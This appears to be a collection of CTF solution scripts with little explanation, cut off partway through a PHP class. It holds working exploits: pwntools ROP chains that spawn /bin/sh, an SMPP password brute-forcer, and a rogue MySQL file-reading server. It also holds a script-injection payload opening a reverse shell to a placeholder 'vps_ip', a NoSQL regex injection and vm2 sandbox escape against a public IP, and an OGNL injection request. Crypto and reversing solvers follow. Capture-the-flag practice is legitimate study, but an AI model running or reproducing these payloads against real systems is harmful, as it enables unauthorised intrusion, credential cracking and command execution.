import logging            import sys                       import smpplib.gsm            import smpplib.client            import smpplib.consts                       # if you want to know what's happening            logging.basicConfig(level='DEBUG')                       # Two parts, UCS2, SMS with UDH            parts, encoding_flag, msg_type_flag = smpplib.gsm.make_parts(u'Привет мир!\n'*10)                       client = smpplib.client.Client('example.com', SOMEPORTNUMBER, allow_unknown_opt_params=True)                       # Print when obtain message_id            client.set_message_sent_handler(                lambda pdu: sys.stdout.write('sent {} {}\n'.format(pdu.sequence, pdu.message_id)))            client.set_message_received_handler(                lambda pdu: sys.stdout.write('delivered {}\n'.format(pdu.receipted_message_id)))                       client.connect()            client.bind_transceiver(system_id='login', password='secret')                       for part in parts:                pdu = client.send_message(                    source_addr_ton=smpplib.consts.SMPP_TON_INTL,                    #source_addr_npi=smpplib.consts.SMPP_NPI_ISDN,                    # Make sure it is a byte string, not unicode:                    source_addr='SENDERPHONENUM',                               dest_addr_ton=smpplib.consts.SMPP_TON_INTL,                    #dest_addr_npi=smpplib.consts.SMPP_NPI_ISDN,                    # Make sure thease two params are byte strings, not unicode:                    destination_addr='PHONENUMBER',                    short_message=part,                               data_coding=encoding_flag,                    esm_class=msg_type_flag,                    registered_delivery=True,                )                print(pdu.sequence)                           # Enters a loop, waiting for incoming PDUs            client.listen()

import logging            import sys                       import smpplib.gsm            import smpplib.client            import smpplib.consts                       # if you want to know what's happening            logging.basicConfig(level='DEBUG')                       # Two parts, UCS2, SMS with UDH            parts, encoding_flag, msg_type_flag = smpplib.gsm.make_parts(u'Привет мир!\n'*10)                       client = smpplib.client.Client('172.16.9.37', 2776, allow_unknown_opt_params=True)                       # Print when obtain message_id            client.set_message_sent_handler(                lambda pdu: sys.stdout.write('sent {} {}\n'.format(pdu.sequence, pdu.message_id)))            client.set_message_received_handler(                lambda pdu: sys.stdout.write('delivered {}\n'.format(pdu.receipted_message_id)))                       client.connect()            with open ('password_dict.txt','r')as f:                for i in f.readlines():                    i=i.strip()                    try:                        client.bind_transceiver(system_id='admin', password=i)                        print(i)                        break                    except:                        continue            

ROPgadget --binary r2 --ropchain

from pwn import *from struct import *
sh=process('./r2')sh.recv()p=b'a'*0x6c
p += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x080b8eb6) # pop eax ; retp += b'/bin'p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb064) # @ .data + 4p += pack('<I', 0x080b8eb6) # pop eax ; retp += b'//sh'p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x080495a3) # xor eax, eax ; retp += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x080df8bd) # pop ecx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x080495a3) # xor eax, eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0806d443) # int 0x80
sh.sendline(p)sh.interactive()

from pwn import *            from struct import pack                       pop_eax=0x080b8f16            int80=0x0806d4a3            pop_ebx=0x080481c9            pop_ecx=0x080df91d            pop_edx=0x0806f89b            read=0x0806DE00            main=0x80488CE            bss=0x080EBF80                       sh=process('./r3')            sh.recv()            p=b'a'*0x74+p32(read)+p32(main)+p32(0)+p32(bss)+p32(8)            sh.send(p)            sh.recv()            sh.send(b"/bin/sh\x00")            p=b'a'*0x74            p+=flat([pop_eax,0xb,pop_ebx,bss,pop_ecx,0,pop_edx,0,int80])            sh.send(p)            sh.interactive()   

from pwn import *            sh=process('./r4')            shell=0x080485BD            sh.recv()            payload=b'a'*0x6c+p32(shell)            sh.send(payload)            sh.interactive()            

from pwn import *            sh=process('./r5')            payload='1'*16+'85140'            sh.send(payload)            sh.interactive()            

from pwn import *            sh=process('./r7')            sh.recv()            sh.send('WSDWAAWDW')            sh.interactive()

from pwn import *            sh=process('./r8')            sh.recv()            context.arch = 'i386'            payload=fmtstr_payload(4,{0x80ebf9c:28},0,write_size='byte')            sh.send(payload)            sh.interactive()           

from pwn import *from struct import pack
sh=process('./r9')sh.recv()sh.sendline('1')sh.recv()p=b'a'*29p += pack('<I', 0x0806fe3b) # pop edx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x0805c34b) # pop eax ; retp += b'/bin'p += pack('<I', 0x0805558b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806fe3b) # pop edx ; retp += pack('<I', 0x080eb064) # @ .data + 4p += pack('<I', 0x0805c34b) # pop eax ; retp += b'//sh'p += pack('<I', 0x0805558b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806fe3b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x08049643) # xor eax, eax ; retp += pack('<I', 0x0805558b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x080e0151) # pop ecx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x0806fe3b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x08049643) # xor eax, eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0806da13) # int 0x80p+=b'\x90'*102sh.send(p)print(len(p))sh.interactive()                             

[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 9, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]

#!/usr/bin/env python#coding: utf8
import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler(    tmp_format)
filelist = (    '/flag',)

#================================================#=======No need to change after this lines=======#================================================
__author__ = 'Gifts'
def daemonize():    import os, warnings    if os.name != 'posix':        warnings.warn('Cant create daemon on non-posix system')        return
    if os.fork(): os._exit(0)    os.setsid()    if os.fork(): os._exit(0)    os.umask(0o022)    null=os.open('/dev/null', os.O_RDWR)    for i in xrange(3):        try:            os.dup2(null, i)        except OSError as e:            if e.errno != 9: raise    os.close(null)

class LastPacket(Exception):    pass

class OutOfOrder(Exception):    pass

class mysql_packet(object):    packet_header = struct.Struct('<Hbb')    packet_header_long = struct.Struct('<Hbbb')    def __init__(self, packet_type, payload):        if isinstance(packet_type, mysql_packet):            self.packet_num = packet_type.packet_num + 1        else:            self.packet_num = packet_type        self.payload = payload
    def __str__(self):        payload_len = len(self.payload)        if payload_len < 65536:            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)        else:            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
        result = "{0}{1}".format(            header,            self.payload        )        return result
    def __repr__(self):        return repr(str(self))
    @staticmethod    def parse(raw_data):        packet_num = ord(raw_data[0])        payload = raw_data[1:]
        return mysql_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):
    def __init__(self, addr):        asynchat.async_chat.__init__(self, sock=addr[0])        self.addr = addr[1]        self.ibuffer = []        self.set_terminator(3)        self.state = 'LEN'        self.sub_state = 'Auth'        self.logined = False        self.push(            mysql_packet(                0,                "".join((                    '\x0a',  # Protocol                    '5.6.28-0ubuntu0.14.04.1' + '\0',                    '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',                ))            )        )
        self.order = 1        self.states = ['LOGIN', 'CAPS', 'ANY']
    def push(self, data):        log.debug('Pushed: %r', data)        data = str(data)        asynchat.async_chat.push(self, data)
    def collect_incoming_data(self, data):        log.debug('Data recved: %r', data)        self.ibuffer.append(data)
    def found_terminator(self):        data = "".join(self.ibuffer)        self.ibuffer = []
        if self.state == 'LEN':            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1            if len_bytes < 65536:                self.set_terminator(len_bytes)                self.state = 'Data'            else:                self.state = 'MoreLength'        elif self.state == 'MoreLength':            if data[0] != '\0':                self.push(None)                self.close_when_done()            else:                self.state = 'Data'        elif self.state == 'Data':            packet = mysql_packet.parse(data)            try:                if self.order != packet.packet_num:                    raise OutOfOrder()                else:                    # Fix ?                    self.order = packet.packet_num + 2                if packet.packet_num == 0:                    if packet.payload[0] == '\x03':                        log.info('Query')
                        filename = random.choice(filelist)                        PACKET = mysql_packet(                            packet,                            '\xFB{0}'.format(filename)                        )                        self.set_terminator(3)                        self.state = 'LEN'                        self.sub_state = 'File'                        self.push(PACKET)                    elif packet.payload[0] == '\x1b':                        log.info('SelectDB')                        self.push(mysql_packet(                            packet,                            '\xfe\x00\x00\x02\x00'                        ))                        raise LastPacket()                    elif packet.payload[0] in '\x02':                        self.push(mysql_packet(                            packet, '\0\0\0\x02\0\0\0'                        ))                        raise LastPacket()                    elif packet.payload == '\x00\x01':                        self.push(None)                        self.close_when_done()                    else:                        raise ValueError()                else:                    if self.sub_state == 'File':                        log.info('-- result')                        log.info('Result: %r', data)
                        if len(data) == 1:                            self.push(                                mysql_packet(packet, '\0\0\0\x02\0\0\0')                            )                            raise LastPacket()                        else:                            self.set_terminator(3)                            self.state = 'LEN'                            self.order = packet.packet_num + 1
                    elif self.sub_state == 'Auth':                        self.push(mysql_packet(                            packet, '\0\0\0\x02\0\0\0'                        ))                        raise LastPacket()                    else:                        log.info('-- else')                        raise ValueError('Unknown packet')            except LastPacket:                log.info('Last packet')                self.state = 'LEN'                self.sub_state = None                self.order = 0                self.set_terminator(3)            except OutOfOrder:                log.warning('Out of order')                self.push(None)                self.close_when_done()        else:            log.error('Unknown state')            self.push('None')            self.close_when_done()

class mysql_listener(asyncore.dispatcher):    def __init__(self, sock=None):        asyncore.dispatcher.__init__(self, sock)
        if not sock:            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)            self.set_reuse_addr()            try:                self.bind(('', PORT))            except socket.error:                exit()
            self.listen(5)
    def handle_accept(self):        pair = self.accept()
        if pair is not None:            log.info('Conn from: %r', pair[1])            tmp = http_request_handler(pair)

z = mysql_listener()# daemonize()asyncore.loop()

${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImxzIikudG9TdHJpbmcoKX0=}

${script:js:java.lang.Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vps_ip/2333 0>&1")}

import requeststokenletter = "0123456789abcedf"url1 = "http://47.98.161.119:9090/api/project/get"token = ""for i in range(16):    for j in tokenletter:        body = {"token":{"$regex":"^" + token + j}}        resp = requests.get(url=url1,json=body,verify=False)        if "406" in resp.text:            print(body)            token += j            print(token)#8fa743801266b2391d16

const crypto = require('crypto');
uid = "11"token = "8fa743801266b2391d16"data = uid + "|" + token
password = "abcde"
// 如下方法使用指定的算法与密码来创建cipher对象const cipher = crypto.createCipher('aes192', password);
// 使用该对象的update方法来指定需要被加密的数据let crypted = cipher.update(data, 'utf-8', 'hex');
crypted += cipher.final('hex');
console.log(crypted)

043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc

import requestsimport re
token = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"url = f'http://47.98.161.119:9090/api/project/up?token={token}'headers = {    "content-type":"application/json"}vm2Script = """const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("/readflag").toString()context.responseData = 'testtest' + mockJson + 'testtest'console.log(responseData)"""body_json = {"id":11,"pre_script":"","after_script":vm2Script}
print(body_json)id = 1while id:    body_json["id"] = id ## 项目id 需要枚举    resp = requests.post(url=url,headers=headers,json=body_json)    print(resp.status_code)    print(resp.text)    if resp.status_code == 200 and re.search("\"errcode\":0",resp.text):        print("[*] pre-response 脚本上传成功")        id = False    else:        print("[*] pre-response 脚本上传失败")        id+=1#id=66时成功

import requestsimport re
token = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"
id = 1
while id:    url =f'http://47.98.161.119:9090/api/open/run_auto_test?id={id}&token={token}&mode=html'    resp = requests.get(url=url)    if re.search("YAPI",resp.text) and re.search("",resp.text):        print("[*] 命令执行成功")        # print(url)        print("===")        print(id)        print(re.search("testtest[\s\S]*testtest",resp.text)[0])        id = False        break    print(url)    id += 1 
exit()

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/flag%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1

p = 193387944202565886198256260591909756041PP = PolynomialRing(GF(p), 'x')x = PP.gens()[0]f = x^3 + 2*x^2 + xf_ = f.subs(x=x-1)root = f_.factor()[0][0][0]
def trans(P):    P_ = (P[0] +1, P[1])    t = GF(p)(root).square_root()    res = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % p    return res
mapP = trans((4, 10))mapQ = trans((65639504587209705872811542111125696405, 125330437930804525313353306745824609665))print(mapQ.log(mapP))

#!/usr/bin/env python3# coding=utf-8
from Crypto.Cipher import AES
p = 193387944202565886198256260591909756041ctext = bytes.fromhex('b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0')
def test(x):    aes = AES.new(x.to_bytes(16, 'big'), AES.MODE_CBC, bytes(16))    flag = aes.decrypt(ctext)    if b'rwctf' in flag:        print(flag)
x = 4470735776084208177429085432176719338while x < p:    test(x)    x += (p-1) // 4

from keystone import *
ks = Ks(KS_ARCH_X86,KS_MODE_64)
def patch1(start, end):    size = end - start    start -= 0xc00    end -= 0xc00    tmp = bytearray(raw)    for i in range(start, end):        if tmp[i:i+5] == b'\x50\x48\x31\xc0\x74':            tmp[i+4] = 0xeb            jmp_size = tmp[i+5]            tmp[i+6:i+6+jmp_size] = b'\x90'*jmp_size    with open('junk-new1.exe','wb') as f:        f.write(tmp)
def patch2(start, end):    size = end - start    start -= 0xc00    end -= 0xc00    tmp = bytearray(raw)    for i in range(start, end):        if i in (0x41e, 0x41f, 0xcd2):            continue        if 0x572 <= i < 0x580 or 0x71d <= i < 0x720 or 0xd4c <= i < 0xd50 or 0xe45 <= i < 0xe50 or 0xe9b <= i < 0xea0:            continue        if tmp[i] != 0xcc:            continue        choice = tmp[i+1]        if choice == 1:            ins_len = 4            delta = tmp[i+3]            sign = tmp[i+2]            if sign == 3:                ins = f'sub rsp, {delta:#x}'            elif sign == 2:                ins = f'add rsp, {delta:#x}'            else:                print('Sign error!')                assert 0        elif choice == 4:            ins = 'mov rcx, rsi'            ins_len = 3        elif choice == 5:            ins = 'cmp rax, 0x2a'            ins_len = 4        elif choice == 6:            ins = 'mov rdx, rsi'            ins_len = 3        elif choice == 8:            ins = 'mov edx, 0x9E3779B9'            ins_len = 5        elif choice == 9:            ins = 'mov r11d, 32'            ins_len = 6        elif choice == 10:            ins = 'mov eax, esi'            ins_len = 2        elif choice == 11:            ins = 'mov ebx, eax'            ins_len = 2        elif choice == 12:            ins = 'xor ebx, esi'            ins_len = 2        elif choice == 13:            ins = 'add ebx, 45'            ins_len = 3        elif choice == 14:            ins = 'xor ebx, edi'            ins_len = 2        elif choice == 15:            ins = 'add ecx, ebx'            ins_len = 2        elif choice == 16:            ins = 'mov esi, ecx'            ins_len = 2        elif choice == 17:            ins = 'add esi, 67'            ins_len = 3        elif choice == 18:            ins = 'xor edi, esi'            ins_len = 2        elif choice == 19:            ins = 'add esi, 86'            ins_len = 3        elif choice == 20:            ins = 'xor esi, edi'            ins_len = 2        elif choice == 29:            ins = 'call 0x140001950; push rax'            tmp[i:i+6] = ks.asm(ins, 0x1400010B8)[0]        elif choice == 30:            tmp[i:i+2] = ks.asm('jmp 0x140001106', 0x1400010F0)[0]            tmp[0x506:0x506+7] = ks.asm('call 0x140001a50;jmp 0x1400010F2', 0x140001106)[0]        else:            print(f'{i+0x140000c00:#x}: unknown {choice}')            assert 0
        if choice not in (29, 30):            tmp[i:i+ins_len] = ks.asm(ins)[0]
    with open('junk-new2.exe','wb') as f:        f.write(tmp)

with open('./junk.exe', 'rb') as f:    raw = f.read()patch1(0x1000, 0x1aa0)
with open('./junk-new1.exe', 'rb') as f:    raw = f.read()patch2(0x1000, 0x1aa0)

from struct import pack, unpackfrom ctypes import *
ans = [  0xF2, 0x7F, 0x09, 0x05, 0xD7, 0x77, 0x16, 0x91, 0x25, 0x01,   0x2E, 0xC5, 0x97, 0x26, 0x63, 0x82, 0x01, 0x40, 0x15, 0x2D,   0xFC, 0x53, 0xDB, 0xD3, 0xC4, 0xDB, 0x0A, 0x1F, 0x82, 0x1E,   0x99, 0x4E, 0xFE, 0x0C, 0x80, 0xB8, 0xA5, 0x61, 0x0E, 0x99,   0xDF, 0x39]
def dec1(data):    for i in range(len(data)):        data[i] = (data[i] >> 5) | ((data[i] << 3) & 0xff)
def dec2(data):    for i in range(len(data)):        data[i] ^= 0x66        data[i] -= 50        data[i] &= 0xff
def dec3(data):    data = bytearray(data)    k = [12, 45, 67, 86]    for i in range(0, 40, 8):        v0, v1 = unpack('II', data[i:i+8])        v0 = c_uint32(v0)        v1 = c_uint32(v1)        delta = 0x9E3779B9        total = c_uint32(delta*32)        for j in range(32):            v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + total.value) ^ ((v0.value >> 5) + k[3])            v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + total.value) ^ ((v1.value >> 5) + k[1])            total.value -= delta        data[i:i+8] = pack('II', v0.value, v1.value)    return data
if __name__ == '__main__':    data = ans    dec1(data)    dec2(data)    flag = dec3(data)    print(flag)

from Crypto.Util.number import *import hashlibfrom gmpy2 import *c1 =  85139434329272123519094184286276070319638471046264384499440682030525456122476228324462769126167628121006213531153927884870307999106015430909361792093581895091445829379547633304737916675926004298753674268141399550405934376072486086468186907326396270307581239055199288888816051281495009808259009684332333344687c2 =  104554808380721645840032269336579549039995977113982697194651690041676187039363703190743891658905715473980017457465221488358016284891528960913854895940235089108270134689312161783470000803482494370322574472422461483052403826282470850666418693908817591349159407595131136843764544166774390400827241213500917391144c3 =  94771625845449128812081345291218973301979152577131568497740476123729158619324753128517222692750900524689049078606978317742545997482763600884362992468406577524708622046033409713416026145377740182233674890063333534646927601262333672233695863286637817471270314093720827409474178917969326556939942622112511819330x =  78237329408351955465927092805995076909826011029371783256454322166600398149132623484679723362562600068961760410039241554232588011577854168402399895992331761353772415982560522912511879304977362225597552446397868843275129027248765252784503841114291392822052506837132093960290237335686354012448414804030938873765y =  100442166633632319633494450595418167608036668647704883492068692098914206322465717138894302011092841820156560129280901426898815274744523998613724326647935591857728931946261379997352809249780159136988674034759483947949779535134522005905257436546335376141008113285692888482442131971935583298243412131571769294029z =  104712661985900115750011628727270934552698948001634201257337487373976943443738367683435788889160488319624447315127992641805597631347763038111352925925686965948545739394656951753648392926627442105629724634607023721715249914976189181389720790879720452348480924301370569461741945968322303130995996793764440204452
e=2022tmp1 = pow(x-e,e)-c1tmp2 = pow(y-e,e)-c2m = gcd(tmp1,tmp2)print(m)tmp3 = (x-e) % mfor i in range(1000):    m1 = tmp3 + i*m    if c1 == pow(m+m1,e,m*m1):        print (m1)        break
tmp4 = (y-e) % mfor i in range(1000):    m2=tmp4+i*m    if c2 == pow(m+m2,e,m*m2):        print(m2)        breakflag = m + m1 + m2flag = hashlib.md5(str(flag).encode('utf-8')).hexdigest()print(flag)

from math import gcdfrom gmpy2 import invert
x = [150532854791355748039117763516755705063,335246949167877025932432065299887980427,186623163520020374273300614035532913241,215621842477244010690624570814660992556,220694532805562822940506614120520015819,17868778653481346517880312348382129728,160572327041397126918110376968541265339]
t = [x[i+1] - x[i] for i in range(len(x)-1)]
def f(i):    return t[i]*t[i+2]-t[i+1]*t[i+1]
p = gcd(f(0), f(1))print('p=',p)a = invert(x[1]-x[0], p)a = a * (x[2]-x[1]) % pprint('a=',a)b = (x[1] - x[0] * a) % pprint('b=',b)#p= 339088189917874808463944743121467561531#a= 259086495324961642923203668736965982268#b= 121870392737324465817476070178603827899

p= 339088189917874808463944743121467561531a= 259086495324961642923203668736965982268b= 121870392737324465817476070178603827899c = 114514e= int(2e8)m = 10**10000
e1 = (a*c)/(b-c)e2 = p/(b-1)
def f(n):    t1 = RR(pow(b, n, m).lift())    t2 = RR(pow(c, n, m).lift())    return t1*(1+e1+e2)-e1*t2-e2
print(f(e))

import cv2import cv2 as cvimport numpy as npimport os
pic = cv2.imread("D:\\tmp\\tHXcode.png")c1,c2,c3 = pic.shape
blank_image = np.zeros((348,348,3), np.uint8)
for i in range(c1):    for j in range(c2):        for k in range(c3):            if pic[i,j,k] == 0 or pic[i,j,k] == 255:                blank_image[i,j,k] = 0            else:                blank_image[i, j, k] = 255cv2.imwrite('new.png',blank_image)cv2.imshow('canvas',blank_image)cv2.waitKey(0)cv2.destroyAllWindows()

import cv2import cv2 as cvimport numpy as np
f = open("123.txt",encoding = "utf-8")
blank_image = np.zeros((330,330,3), np.uint8)
a = f.read()
aa = 0
for i in a:    x = aa//330    y = aa%330    if i == '0':        blank_image[x, y, 1] = 0    else:        blank_image[x, y, 0] = 255        blank_image[x, y, 1] = 255        blank_image[x, y, 2] = 255    aa += 1cv2.imwrite('new.png',blank_image)cv2.imshow('canvas',blank_image)cv2.waitKey(0)cv2.destroyAllWindows()

<?phpclass abaaba{    protected $DoNotGet;
    public function __construct($s){        echo '1';        $this->DoNotGet = $s;    }
    public function __get($name){        echo '2';        $this->DoNotGet->$name = "two";        return $this->DoNotGet->$name;    }
    public function __toString(){        echo '3';        return $this->Giveme;    }}
class Onemore{
    public $file;

